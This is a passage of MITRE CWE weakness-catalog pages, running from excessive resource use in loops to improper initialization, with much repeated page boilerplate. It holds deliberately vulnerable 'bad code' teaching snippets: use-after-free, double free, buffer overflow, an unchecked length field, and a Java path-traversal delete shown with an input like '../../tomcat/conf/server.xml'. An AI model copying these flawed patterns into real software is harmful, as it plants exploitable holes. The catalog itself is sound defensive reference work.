consequences in the list. For example, there may be high likelihood that a weakness will be
exploited to achieve a certain impact, but a low likelihood that it will be exploited to
achieve a different impact.
This table shows the weaknesses and high level categories that are related to this
weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to
similar items that may exist at higher and lower levels of abstraction. In addition,
relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user
may want to explore.
Relevant to the view "Research Concepts" (View-1000)
Relevant to the view "Software Development" (View-699)
This MemberOf Relationships table shows additional CWE Categories and Views that
reference this weakness as a member. This information is often useful in understanding where a
weakness fits within the context of external information sources.
CWE-1050: Excessive Platform Resource Consumption within a Loop
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers.
For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts.
For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers.
For users who wish to see all available information for the CWE/CAPEC entry.
For users who want to customize what details are displayed.
×
Edit Custom FilterThe product has a loop body or loop condition that contains a control element that directly or
indirectly consumes platform resources, e.g. messaging, sessions, locks, or file
descriptors.
This issue can make the product perform more slowly. If an attacker can influence the number of iterations in the loop, then this performance problem might allow a denial of service by consuming more platform resources than intended. This table specifies different individual consequences
associated with the weakness. The Scope identifies the application security area that is
violated, while the Impact describes the negative technical impact that arises if an
adversary succeeds in exploiting this weakness. The Likelihood provides information about
how likely the specific consequence is expected to be seen relative to the other
consequences in the list. For example, there may be high likelihood that a weakness will be
exploited to achieve a certain impact, but a low likelihood that it will be exploited to
achieve a different impact.
This table shows the weaknesses and high level categories that are related to this
weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to
similar items that may exist at higher and lower levels of abstraction. In addition,
relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user
may want to explore.
Relevant to the view "Research Concepts" (View-1000)
Relevant to the view "Software Development" (View-699)
This MemberOf Relationships table shows additional CWE Categories and Views that
reference this weakness as a member. This information is often useful in understanding where a
weakness fits within the context of external information sources.
CWE-1052: Excessive Use of Hard-Coded Literals in Initialization
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers.
For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts.
For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers.
For users who wish to see all available information for the CWE/CAPEC entry.
For users who want to customize what details are displayed.
×
Edit Custom FilterThe product initializes a data element using a hard-coded
literal that is not a simple integer or static constant element.
This issue makes it more difficult to modify or maintain the product, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities. This table specifies different individual consequences
associated with the weakness. The Scope identifies the application security area that is
violated, while the Impact describes the negative technical impact that arises if an
adversary succeeds in exploiting this weakness. The Likelihood provides information about
how likely the specific consequence is expected to be seen relative to the other
consequences in the list. For example, there may be high likelihood that a weakness will be
exploited to achieve a certain impact, but a low likelihood that it will be exploited to
achieve a different impact.
This table shows the weaknesses and high level categories that are related to this
weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to
similar items that may exist at higher and lower levels of abstraction. In addition,
relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user
may want to explore.
Relevant to the view "Research Concepts" (View-1000)
Relevant to the view "Software Development" (View-699)
This MemberOf Relationships table shows additional CWE Categories and Views that
reference this weakness as a member. This information is often useful in understanding where a
weakness fits within the context of external information sources.
CWE-624: Executable Regular Expression Error
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers.
For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts.
For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers.
For users who wish to see all available information for the CWE/CAPEC entry.
For users who want to customize what details are displayed.
×
Edit Custom FilterThe product uses a regular expression that either (1) contains an executable component with user-controlled inputs, or (2) allows a user to enable execution by inserting pattern modifiers.
Case (2) is possible in the PHP preg_replace() function, and possibly in other languages when a user-controlled input is inserted into a string that is later parsed as a regular expression.
This table specifies different individual consequences
associated with the weakness. The Scope identifies the application security area that is
violated, while the Impact describes the negative technical impact that arises if an
adversary succeeds in exploiting this weakness. The Likelihood provides information about
how likely the specific consequence is expected to be seen relative to the other
consequences in the list. For example, there may be high likelihood that a weakness will be
exploited to achieve a certain impact, but a low likelihood that it will be exploited to
achieve a different impact.
This table shows the weaknesses and high level categories that are related to this
weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to
similar items that may exist at higher and lower levels of abstraction. In addition,
relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user
may want to explore.
Relevant to the view "Research Concepts" (View-1000)
Relevant to the view "Software Development" (View-699)
Relevant to the view "CISQ Quality Measures (2020)" (View-1305)
Relevant to the view "CISQ Data Protection Measures" (View-1340)
The different Modes of Introduction provide information
about how and when this
weakness may be introduced. The Phase identifies a point in the life cycle at which
introduction
may occur, while the Note provides a typical scenario related to introduction during the
given
phase.
This listing shows possible areas for which the given
weakness could appear. These
may be for specific named Languages, Operating Systems, Architectures, Paradigms,
Technologies,
or a class of such platforms. The platform is listed along with how frequently the given
weakness appears for that instance.
Note: this is a curated list of examples for users to understand the variety of ways in which this weakness can be introduced. It is not a complete list of all CVEs that are related to this CWE entry.
This MemberOf Relationships table shows additional CWE Categories and Views that
reference this weakness as a member. This information is often useful in understanding where a
weakness fits within the context of external information sources.
Research Gap
Under-studied. The existing PHP reports are limited to highly skilled researchers, but there are few examples for other languages. It is suspected that this is under-reported for all languages. Usability factors might make it more prevalent in PHP, but this theory has not been investigated.
CWE-825: Expired Pointer Dereference
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers.
For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts.
For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers.
For users who wish to see all available information for the CWE/CAPEC entry.
For users who want to customize what details are displayed.
×
Edit Custom FilterThe product dereferences a pointer that contains a location for memory that was previously valid, but is no longer valid.
When a product releases memory, but it maintains a pointer to that memory, then the memory might be re-allocated at a later time. If the original pointer is accessed to read or write data, then this could cause the product to read or modify data that is in use by a different function or process. Depending on how the newly-allocated memory is used, this could lead to a denial of service, information exposure, or code execution.
This table specifies different individual consequences
associated with the weakness. The Scope identifies the application security area that is
violated, while the Impact describes the negative technical impact that arises if an
adversary succeeds in exploiting this weakness. The Likelihood provides information about
how likely the specific consequence is expected to be seen relative to the other
consequences in the list. For example, there may be high likelihood that a weakness will be
exploited to achieve a certain impact, but a low likelihood that it will be exploited to
achieve a different impact.
This table shows the weaknesses and high level categories that are related to this
weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to
similar items that may exist at higher and lower levels of abstraction. In addition,
relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user
may want to explore.
Relevant to the view "Research Concepts" (View-1000)
Relevant to the view "Software Development" (View-699)
Relevant to the view "CISQ Quality Measures (2020)" (View-1305)
Relevant to the view "CISQ Data Protection Measures" (View-1340)
This listing shows possible areas for which the given
weakness could appear. These
may be for specific named Languages, Operating Systems, Architectures, Paradigms,
Technologies,
or a class of such platforms. The platform is listed along with how frequently the given
weakness appears for that instance.
Example 1 The following code shows a simple example of a use after free error: (bad code)
Example Language: C
char* ptr = (char*)malloc (SIZE);
if (err) { abrt = 1; }free(ptr); ... if (abrt) { logError("operation aborted before commit", ptr); }When an error occurs, the pointer is immediately freed. However, this pointer is later incorrectly used in the logError function. Example 2 The following code shows a simple example of a double free error: (bad code)
Example Language: C
char* ptr = (char*)malloc (SIZE);
... if (abrt) { free(ptr); }... free(ptr); Double free vulnerabilities have two common (and sometimes overlapping) causes:
Although some double free vulnerabilities are not much more complicated than the previous example, most are spread out across hundreds of lines of code or even different files. Programmers seem particularly susceptible to freeing global variables more than once. Note: this is a curated list of examples for users to understand the variety of ways in which this weakness can be introduced. It is not a complete list of all CVEs that are related to this CWE entry.
This MemberOf Relationships table shows additional CWE Categories and Views that
reference this weakness as a member. This information is often useful in understanding where a
weakness fits within the context of external information sources.
Terminology
Many weaknesses related to pointer dereferences fall under the general term of "memory corruption" or "memory safety." As of September 2010, there is no commonly-used terminology that covers the lower-level variants.
Maintenance
There are close relationships between incorrect pointer dereferences and other weaknesses related to buffer operations. There may not be sufficient community agreement regarding these relationships. Further study is needed to determine when these relationships are chains, composites, perspective/layering, or other types of relationships. As of September 2010, most of the relationships are being captured as chains.
CWE-570: Expression is Always False
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers.
For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts.
For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers.
For users who wish to see all available information for the CWE/CAPEC entry.
For users who want to customize what details are displayed.
×
Edit Custom Filter This table specifies different individual consequences
associated with the weakness. The Scope identifies the application security area that is
violated, while the Impact describes the negative technical impact that arises if an
adversary succeeds in exploiting this weakness. The Likelihood provides information about
how likely the specific consequence is expected to be seen relative to the other
consequences in the list. For example, there may be high likelihood that a weakness will be
exploited to achieve a certain impact, but a low likelihood that it will be exploited to
achieve a different impact.
This table shows the weaknesses and high level categories that are related to this
weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to
similar items that may exist at higher and lower levels of abstraction. In addition,
relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user
may want to explore.
Relevant to the view "Research Concepts" (View-1000)
Relevant to the view "Software Development" (View-699)
The different Modes of Introduction provide information
about how and when this
weakness may be introduced. The Phase identifies a point in the life cycle at which
introduction
may occur, while the Note provides a typical scenario related to introduction during the
given
phase.
This listing shows possible areas for which the given
weakness could appear. These
may be for specific named Languages, Operating Systems, Architectures, Paradigms,
Technologies,
or a class of such platforms. The platform is listed along with how frequently the given
weakness appears for that instance.
Example 1 In the following Java example the updateUserAccountOrder() method used within an e-business product ordering/inventory application will validate the product number that was ordered and the user account number. If they are valid, the method will update the product inventory, the user account, and the user order appropriately. (bad code)
Example Language: Java
public void updateUserAccountOrder(String productNumber, String accountNumber) { boolean isValidProduct = false;
boolean isValidAccount = false; if (validProductNumber(productNumber)) { isValidProduct = true; }updateInventory(productNumber); else { return; }if (validAccountNumber(accountNumber)) { isValidProduct = true; }updateAccount(accountNumber, productNumber); if (isValidProduct && isValidAccount) { updateAccountOrder(accountNumber, productNumber); }However, the method never sets the isValidAccount variable after initializing it to false so the isValidProduct is mistakenly used twice. The result is that the expression "isValidProduct && isValidAccount" will always evaluate to false, so the updateAccountOrder() method will never be invoked. This will create serious problems with the product ordering application since the user account and inventory databases will be updated but the order will not be updated. This can be easily corrected by updating the appropriate variable. (good code)
Example Language: Java
...
if (validAccountNumber(accountNumber)) { isValidAccount = true; }updateAccount(accountNumber, productNumber); ... Example 2 In the following example, the hasReadWriteAccess method uses bit masks and bit operators to determine if a user has read and write privileges for a particular process. The variable mask is defined as a bit mask from the BIT_READ and BIT_WRITE constants that have been defined. The variable mask is used within the predicate of the hasReadWriteAccess method to determine if the userMask input parameter has the read and write bits set. (bad code)
Example Language: C
#define BIT_READ 0x0001 // 00000001
#define BIT_WRITE 0x0010 // 00010000 unsigned int mask = BIT_READ & BIT_WRITE; /* intended to use "|" */ // using "&", mask = 00000000 // using "|", mask = 00010001 // determine if user has read and write access int hasReadWriteAccess(unsigned int userMask) { // if the userMask has read and write bits set
// then return 1 (true) if (userMask & mask) { return 1; }// otherwise return 0 (false) return 0; However the bit operator used to initialize the mask variable is the AND operator rather than the intended OR operator (CWE-480), this resulted in the variable mask being set to 0. As a result, the if statement will always evaluate to false and never get executed. The use of bit masks, bit operators and bitwise operations on variables can be difficult. If possible, try to use frameworks or libraries that provide appropriate functionality and abstract the implementation. Example 3 In the following example, the updateInventory method used within an e-business inventory application will update the inventory for a particular product. This method includes an if statement with an expression that will always evaluate to false. This is a common practice in C/C++ to introduce debugging statements quickly by simply changing the expression to evaluate to true and then removing those debugging statements by changing expression to evaluate to false. This is also a common practice for disabling features no longer needed. (bad code)
Example Language: C
int updateInventory(char* productNumber, int numberOfItems) {
int initCount = getProductCount(productNumber);
int updatedCount = initCount + numberOfItems; int updated = updateProductCount(updatedCount); // if statement for debugging purposes only if (1 == 0) { char productName[128]; productName = getProductName(productNumber); printf("product %s initially has %d items in inventory \n", productName, initCount); printf("adding %d items to inventory for %s \n", numberOfItems, productName); if (updated == 0) { printf("Inventory updated for product %s to %d items \n", productName, updatedCount); }else { printf("Inventory not updated for product: %s \n", productName); }return updated; Using this practice for introducing debugging statements or disabling features creates dead code that can cause problems during code maintenance and potentially introduce vulnerabilities. To avoid using expressions that evaluate to false for debugging purposes a logging API or debugging API should be used for the output of debugging messages.
This MemberOf Relationships table shows additional CWE Categories and Views that
reference this weakness as a member. This information is often useful in understanding where a
weakness fits within the context of external information sources.
CWE-571: Expression is Always True
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers.
For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts.
For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers.
For users who wish to see all available information for the CWE/CAPEC entry.
For users who want to customize what details are displayed.
×
Edit Custom Filter This table specifies different individual consequences
associated with the weakness. The Scope identifies the application security area that is
violated, while the Impact describes the negative technical impact that arises if an
adversary succeeds in exploiting this weakness. The Likelihood provides information about
how likely the specific consequence is expected to be seen relative to the other
consequences in the list. For example, there may be high likelihood that a weakness will be
exploited to achieve a certain impact, but a low likelihood that it will be exploited to
achieve a different impact.
This table shows the weaknesses and high level categories that are related to this
weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to
similar items that may exist at higher and lower levels of abstraction. In addition,
relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user
may want to explore.
Relevant to the view "Research Concepts" (View-1000)
Relevant to the view "Software Development" (View-699)
The different Modes of Introduction provide information
about how and when this
weakness may be introduced. The Phase identifies a point in the life cycle at which
introduction
may occur, while the Note provides a typical scenario related to introduction during the
given
phase.
This listing shows possible areas for which the given
weakness could appear. These
may be for specific named Languages, Operating Systems, Architectures, Paradigms,
Technologies,
or a class of such platforms. The platform is listed along with how frequently the given
weakness appears for that instance.
Example 1 In the following Java example the updateInventory() method used within an e-business product ordering/inventory application will check if the input product number is in the store or in the warehouse. If the product is found, the method will update the store or warehouse database as well as the aggregate product database. If the product is not found, the method intends to do some special processing without updating any database. (bad code)
Example Language: Java
public void updateInventory(String productNumber) { boolean isProductAvailable = false;
boolean isDelayed = false; if (productInStore(productNumber)) { isProductAvailable = true; }updateInStoreDatabase(productNumber); else if (productInWarehouse(productNumber)) { isProductAvailable = true; }updateInWarehouseDatabase(productNumber); else { isProductAvailable = true; }if ( isProductAvailable ) { updateProductDatabase(productNumber); }else if ( isDelayed ) { /* Warn customer about delay before order processing */ ... However, the method never sets the isDelayed variable and instead will always update the isProductAvailable variable to true. The result is that the predicate testing the isProductAvailable boolean will always evaluate to true and therefore always update the product database. Further, since the isDelayed variable is initialized to false and never changed, the expression always evaluates to false and the customer will never be warned of a delay on their product.
This MemberOf Relationships table shows additional CWE Categories and Views that
reference this weakness as a member. This information is often useful in understanding where a
weakness fits within the context of external information sources.
CWE-1077: Floating Point Comparison with Incorrect Operator
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers.
For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts.
For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers.
For users who wish to see all available information for the CWE/CAPEC entry.
For users who want to customize what details are displayed.
×
Edit Custom FilterThe code performs a comparison such as an
equality test between two float (floating point) values, but
it uses comparison operators that do not account for the
possibility of loss of precision.
Numeric calculation using floating point values can generate imprecise results because of rounding errors. As a result, two different calculations might generate numbers that are mathematically equal, but have slightly different bit representations that do not translate to the same mathematically-equal values. As a result, an equality test or other comparison might produce unexpected results. This issue can prevent the product from running reliably. If the relevant code is reachable by an attacker, then this reliability problem might introduce a vulnerability. This table specifies different individual consequences
associated with the weakness. The Scope identifies the application security area that is
violated, while the Impact describes the negative technical impact that arises if an
adversary succeeds in exploiting this weakness. The Likelihood provides information about
how likely the specific consequence is expected to be seen relative to the other
consequences in the list. For example, there may be high likelihood that a weakness will be
exploited to achieve a certain impact, but a low likelihood that it will be exploited to
achieve a different impact.
This table shows the weaknesses and high level categories that are related to this
weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to
similar items that may exist at higher and lower levels of abstraction. In addition,
relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user
may want to explore.
Relevant to the view "Research Concepts" (View-1000)
This MemberOf Relationships table shows additional CWE Categories and Views that
reference this weakness as a member. This information is often useful in understanding where a
weakness fits within the context of external information sources.
CWE-703: Improper Check or Handling of Exceptional Conditions
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers.
For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts.
For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers.
For users who wish to see all available information for the CWE/CAPEC entry.
For users who want to customize what details are displayed.
×
Edit Custom FilterThe product does not properly anticipate or handle exceptional conditions that rarely occur during normal operation of the product.
This table specifies different individual consequences
associated with the weakness. The Scope identifies the application security area that is
violated, while the Impact describes the negative technical impact that arises if an
adversary succeeds in exploiting this weakness. The Likelihood provides information about
how likely the specific consequence is expected to be seen relative to the other
consequences in the list. For example, there may be high likelihood that a weakness will be
exploited to achieve a certain impact, but a low likelihood that it will be exploited to
achieve a different impact.
This table shows the weaknesses and high level categories that are related to this
weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to
similar items that may exist at higher and lower levels of abstraction. In addition,
relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user
may want to explore.
Relevant to the view "Research Concepts" (View-1000)
Relevant to the view "Architectural Concepts" (View-1008)
Relevant to the view "CISQ Quality Measures (2020)" (View-1305)
Relevant to the view "CISQ Data Protection Measures" (View-1340)
The different Modes of Introduction provide information
about how and when this
weakness may be introduced. The Phase identifies a point in the life cycle at which
introduction
may occur, while the Note provides a typical scenario related to introduction during the
given
phase.
This listing shows possible areas for which the given
weakness could appear. These
may be for specific named Languages, Operating Systems, Architectures, Paradigms,
Technologies,
or a class of such platforms. The platform is listed along with how frequently the given
weakness appears for that instance.
Example 1 Consider the following code segment: (bad code)
Example Language: C
char buf[10], cp_buf[10];
fgets(buf, 10, stdin); strcpy(cp_buf, buf); The programmer expects that when fgets() returns, buf will contain a null-terminated string of length 9 or less. But if an I/O error occurs, fgets() will not null-terminate buf. Furthermore, if the end of the file is reached before any characters are read, fgets() returns without writing anything to buf. In both of these situations, fgets() signals that something unusual has happened by returning NULL, but in this code, the warning will not be noticed. The lack of a null terminator in buf can result in a buffer overflow in the subsequent call to strcpy(). Example 2 The following method throws three types of exceptions. (good code)
Example Language: Java
public void doExchange() throws IOException, InvocationTargetException, SQLException {
... }While it might seem tidier to write (bad code)
Example Language: Java
public void doExchange() throws Exception {
... }doing so hampers the caller's ability to understand and handle the exceptions that occur. Further, if a later revision of doExchange() introduces a new type of exception that should be treated differently than previous exceptions, there is no easy way to enforce this requirement. Note: this is a curated list of examples for users to understand the variety of ways in which this weakness can be introduced. It is not a complete list of all CVEs that are related to this CWE entry.
This MemberOf Relationships table shows additional CWE Categories and Views that
reference this weakness as a member. This information is often useful in understanding where a
weakness fits within the context of external information sources.
Relationship
This is a high-level class that might have some overlap with other classes. It could be argued that even "normal" weaknesses such as buffer overflows involve unusual or exceptional conditions. In that sense, this might be an inherent aspect of most other weaknesses within CWE, similar to API Abuse (CWE-227) and Indicator of Poor Code Quality (CWE-398). However, this entry is currently intended to unify disparate concepts that do not have other places within the Research Concepts view (CWE-1000).
CWE-99: Improper Control of Resource Identifiers ('Resource Injection')
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers.
For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts.
For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers.
For users who wish to see all available information for the CWE/CAPEC entry.
For users who want to customize what details are displayed.
×
Edit Custom FilterThe product receives input from an upstream component, but it does not restrict or incorrectly restricts the input before it is used as an identifier for a resource that may be outside the intended sphere of control.
A resource injection issue occurs when the following two conditions are met:
This may enable an attacker to access or modify otherwise protected system resources.
This table specifies different individual consequences
associated with the weakness. The Scope identifies the application security area that is
violated, while the Impact describes the negative technical impact that arises if an
adversary succeeds in exploiting this weakness. The Likelihood provides information about
how likely the specific consequence is expected to be seen relative to the other
consequences in the list. For example, there may be high likelihood that a weakness will be
exploited to achieve a certain impact, but a low likelihood that it will be exploited to
achieve a different impact.
This table shows the weaknesses and high level categories that are related to this
weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to
similar items that may exist at higher and lower levels of abstraction. In addition,
relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user
may want to explore.
Relevant to the view "Research Concepts" (View-1000)
Relevant to the view "Architectural Concepts" (View-1008)
The different Modes of Introduction provide information
about how and when this
weakness may be introduced. The Phase identifies a point in the life cycle at which
introduction
may occur, while the Note provides a typical scenario related to introduction during the
given
phase.
This listing shows possible areas for which the given
weakness could appear. These
may be for specific named Languages, Operating Systems, Architectures, Paradigms,
Technologies,
or a class of such platforms. The platform is listed along with how frequently the given
weakness appears for that instance.
Example 1 The following Java code uses input from an HTTP request to create a file name. The programmer has not considered the possibility that an attacker could provide a file name such as "../../tomcat/conf/server.xml", which causes the application to delete one of its own configuration files. (bad code)
Example Language: Java
String rName = request.getParameter("reportName");
File rFile = new File("/usr/local/apfr/reports/" + rName); ... rFile.delete(); Example 2 The following code uses input from the command line to determine which file to open and echo back to the user. If the program runs with privileges and malicious users can create soft links to the file, they can use the program to read the first part of any file on the system. (bad code)
Example Language: C++
ifstream ifs(argv[0]);
string s; ifs >> s; cout << s; The kind of resource the data affects indicates the kind of content that may be dangerous. For example, data containing special characters like period, slash, and backslash, are risky when used in methods that interact with the file system. (Resource injection, when it is related to file system resources, sometimes goes by the name "path manipulation.") Similarly, data that contains URLs and URIs is risky for functions that create remote connections. Note: this is a curated list of examples for users to understand the variety of ways in which this weakness can be introduced. It is not a complete list of all CVEs that are related to this CWE entry.
This MemberOf Relationships table shows additional CWE Categories and Views that
reference this weakness as a member. This information is often useful in understanding where a
weakness fits within the context of external information sources.
Relationship
Resource injection that involves resources stored on the filesystem goes by the name path manipulation (CWE-73).
Maintenance
The relationship between CWE-99 and CWE-610 needs further investigation and clarification. They might be duplicates. CWE-99 "Resource Injection," as originally defined in Seven Pernicious Kingdoms taxonomy, emphasizes the "identifier used to access a system resource" such as a file name or port number, yet it explicitly states that the "resource injection" term does not apply to "path manipulation," which effectively identifies the path at which a resource can be found and could be considered to be one aspect of a resource identifier. Also, CWE-610 effectively covers any type of resource, whether that resource is at the system layer, the application layer, or the code layer.
CWE-130: Improper Handling of Length Parameter Inconsistency
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers.
For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts.
For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers.
For users who wish to see all available information for the CWE/CAPEC entry.
For users who want to customize what details are displayed.
×
Edit Custom FilterThe product parses a formatted message or structure, but it does not handle or incorrectly handles a length field that is inconsistent with the actual length of the associated data.
If an attacker can manipulate the length parameter associated with an input such that it is inconsistent with the actual length of the input, this can be leveraged to cause the target application to behave in unexpected, and possibly, malicious ways. One of the possible motives for doing so is to pass in arbitrarily large input to the application. Another possible motivation is the modification of application state by including invalid data for subsequent properties of the application. Such weaknesses commonly lead to attacks such as buffer overflows and execution of arbitrary code.
This table specifies different individual consequences
associated with the weakness. The Scope identifies the application security area that is
violated, while the Impact describes the negative technical impact that arises if an
adversary succeeds in exploiting this weakness. The Likelihood provides information about
how likely the specific consequence is expected to be seen relative to the other
consequences in the list. For example, there may be high likelihood that a weakness will be
exploited to achieve a certain impact, but a low likelihood that it will be exploited to
achieve a different impact.
This table shows the weaknesses and high level categories that are related to this
weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to
similar items that may exist at higher and lower levels of abstraction. In addition,
relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user
may want to explore.
Relevant to the view "Research Concepts" (View-1000)
Relevant to the view "Software Development" (View-699)
Relevant to the view "CISQ Quality Measures (2020)" (View-1305)
Relevant to the view "CISQ Data Protection Measures" (View-1340)
The different Modes of Introduction provide information
about how and when this
weakness may be introduced. The Phase identifies a point in the life cycle at which
introduction
may occur, while the Note provides a typical scenario related to introduction during the
given
phase.
This listing shows possible areas for which the given
weakness could appear. These
may be for specific named Languages, Operating Systems, Architectures, Paradigms,
Technologies,
or a class of such platforms. The platform is listed along with how frequently the given
weakness appears for that instance.
Example 1 In the following C/C++ example the method processMessageFromSocket() will get a message from a socket, placed into a buffer, and will parse the contents of the buffer into a structure that contains the message length and the message body. A for loop is used to copy the message body into a local character string which will be passed to another method for processing. (bad code)
Example Language: C
int processMessageFromSocket(int socket) {
int success;
char buffer[BUFFER_SIZE]; char message[MESSAGE_SIZE]; // get message from socket and store into buffer //Ignoring possibliity that buffer > BUFFER_SIZE if (getMessage(socket, buffer, BUFFER_SIZE) > 0) { // place contents of the buffer into message structure ExMessage *msg = recastBuffer(buffer); // copy message body into string for processing int index; for (index = 0; index < msg->msgLength; index++) { message[index] = msg->msgBody[index]; }message[index] = '\0'; // process message success = processMessage(message); return success; However, the message length variable (msgLength) from the structure is used as the condition for ending the for loop without validating that msgLength accurately reflects the actual length of the message body (CWE-606). If msgLength indicates a length that is longer than the size of a message body (CWE-130), then this can result in a buffer over-read by reading past the end of the buffer (CWE-126). Note: this is a curated list of examples for users to understand the variety of ways in which this weakness can be introduced. It is not a complete list of all CVEs that are related to this CWE entry.
This MemberOf Relationships table shows additional CWE Categories and Views that
reference this weakness as a member. This information is often useful in understanding where a
weakness fits within the context of external information sources.
CWE-665: Improper Initialization
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers.
For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts.
For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers.
For users who wish to see all available information for the CWE/CAPEC entry.
For users who want to customize what details are displayed.
×
Edit Custom FilterThe product does not initialize or incorrectly initializes a resource, which might leave the resource in an unexpected state when it is accessed or used.
This can have security implications when the associated resource is expected to have certain properties or values, such as a variable that determines whether a user has been authenticated or not.
This table specifies different individual consequences
associated with the weakness. The Scope identifies the application security area that is
violated, while the Impact describes the negative technical impact that arises if an
adversary succeeds in exploiting this weakness. The Likelihood provides information about
how likely the specific consequence is expected to be seen relative to the other
consequences in the list. For example, there may be high likelihood that a weakness will be
exploited to achieve a certain impact, but a low likelihood that it will be exploited to
achieve a different impact.
This table shows the weaknesses and high level categories that are related to this
weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to
similar items that may exist at higher and lower levels of abstraction. In addition,
relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user
may want to explore.
Relevant to the view "Research Concepts" (View-1000)
Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (View-1003)
Relevant to the view "CISQ Quality Measures (2020)" (View-1305)
Relevant to the view "CISQ Data Protection Measures" (View-1340)
The different Modes of Introduction provide information
about how and when this
weakness may be introduced. The Phase identifies a point in the life cycle at which
introduction
may occur, while the Note provides a typical scenario related to introduction during the
given
phase.
This listing shows possible areas for which the given
weakness could appear. These
may be for specific named Languages, Operating Systems, Architectures, Paradigms,
Technologies,
or a class of such platforms. The platform is listed along with how frequently the given
weakness appears for that instance.
Example 1 Here, a boolean initiailized field is consulted to ensure that initialization tasks are only completed once. However, the field is mistakenly set to true during static initialization, so the initialization code is never reached. (bad code)
Example Language: Java
private boolean initialized = true;
public void someMethod() { if (!initialized) {
// perform initialization tasks ... initialized = true; Example 2 The following code intends to limit certain operations to the administrator only. (bad code)
Example Language: Perl
$username = GetCurrentUser();
